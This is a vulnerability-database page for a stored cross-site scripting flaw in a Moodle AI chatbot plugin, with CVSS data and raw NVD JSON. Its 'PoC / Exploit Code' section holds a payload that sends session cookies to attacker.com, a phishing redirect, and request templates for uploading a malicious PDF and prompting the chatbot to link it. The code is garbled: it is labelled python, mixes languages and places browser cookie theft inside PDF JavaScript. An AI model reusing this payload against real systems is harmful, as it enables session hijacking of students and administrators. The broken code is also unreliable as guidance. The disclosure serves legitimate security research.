Security Vulnerability Report
中文
CVE-2025-60507 CVSS 8.9 HIGH

CVE-2025-60507

Published: 2025-10-21 18:15:36
Last Modified: 2026-04-15 00:35:42

Description

Cross site scripting vulnerability in Moodle GeniAI plugin (local_geniai) 2.3.6. An authenticated user with Teacher role can upload a PDF containing embedded JavaScript. The assistant outputs a direct HTML link to the uploaded file without sanitization. When other users (including Students or Administrators) click the link, the payload executes in their browser.

CVSS Details

CVSS Score
8.9
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L

Configurations (Affected Products)

No configuration data available.

Moodle GeniAI Plugin (local_geniai) 2.3.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-60507 PoC: Stored XSS via PDF Upload in Moodle GeniAI Plugin Vulnerability: The plugin outputs unsanitized HTML links to uploaded PDF files --> // Step 1: Create a malicious PDF with embedded JavaScript // Using a tool like PDF-Parser or manual hex editing to inject JS // Example PDF JavaScript payload (to be embedded in PDF): var pdf_xss_payload = ` app.alert("XSS Triggered via CVE-2025-60507"); // Steal session cookies var img = new Image(); img.src = "https://attacker.com/steal?cookie=" + document.cookie; // Or redirect to phishing page // app.launchURL("https://attacker.com/phishing"); `; // Step 2: Upload the malicious PDF via GeniAI plugin as Teacher role // POST request to upload endpoint const uploadRequest = { url: "https://target-moodle.com/local/geniai/upload.php", method: "POST", headers: { "Cookie": "MoodleSession=teacher_session_cookie_here", "Content-Type": "multipart/form-data" }, formData: { "file": "malicious.pdf", // PDF with embedded JS payload "action": "upload", "sesskey": "valid_sesskey" } }; // Step 3: Trigger chatbot to generate link to uploaded file const chatbotRequest = { url: "https://target-moodle.com/local/geniai/chat.php", method: "POST", headers: { "Cookie": "MoodleSession=teacher_session_cookie_here", "Content-Type": "application/x-www-form-urlencoded" }, body: "message=Please summarize the uploaded PDF document&sesskey=valid_sesskey" }; // Step 4: The chatbot response contains unsanitized HTML link: // <a href="https://target-moodle.com/draftfile.php/user/malicious.pdf">View Document</a> // When admin/student clicks, the embedded JS in PDF executes // Step 5: Attacker receives stolen cookies or achieves further compromise // Attacker server receives: GET /steal?cookie=admin_session_value

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60507", "sourceIdentifier": "[email protected]", "published": "2025-10-21T18:15:36.457", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross site scripting vulnerability in Moodle GeniAI plugin (local_geniai) 2.3.6. An authenticated user with Teacher role can upload a PDF containing embedded JavaScript. The assistant outputs a direct HTML link to the uploaded file without sanitization. When other users (including Students or Administrators) click the link, the payload executes in their browser."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/onurcangnc/moodle_genai_plugin_xss", "source": "[email protected]"}, {"url": "https://moodle.org/plugins/local_geniai", "source": "[email protected]"}, {"url": "https://moodle.org/security/", "source": "[email protected]"}, {"url": "https://onurcangenc.com.tr/posts/moodle-genia%C4%B1-plugin-vulnerability-stored-reflected-xss-via-pdf-upload-and-chatbot-%C4%B1nput/", "source": "[email protected]"}]}}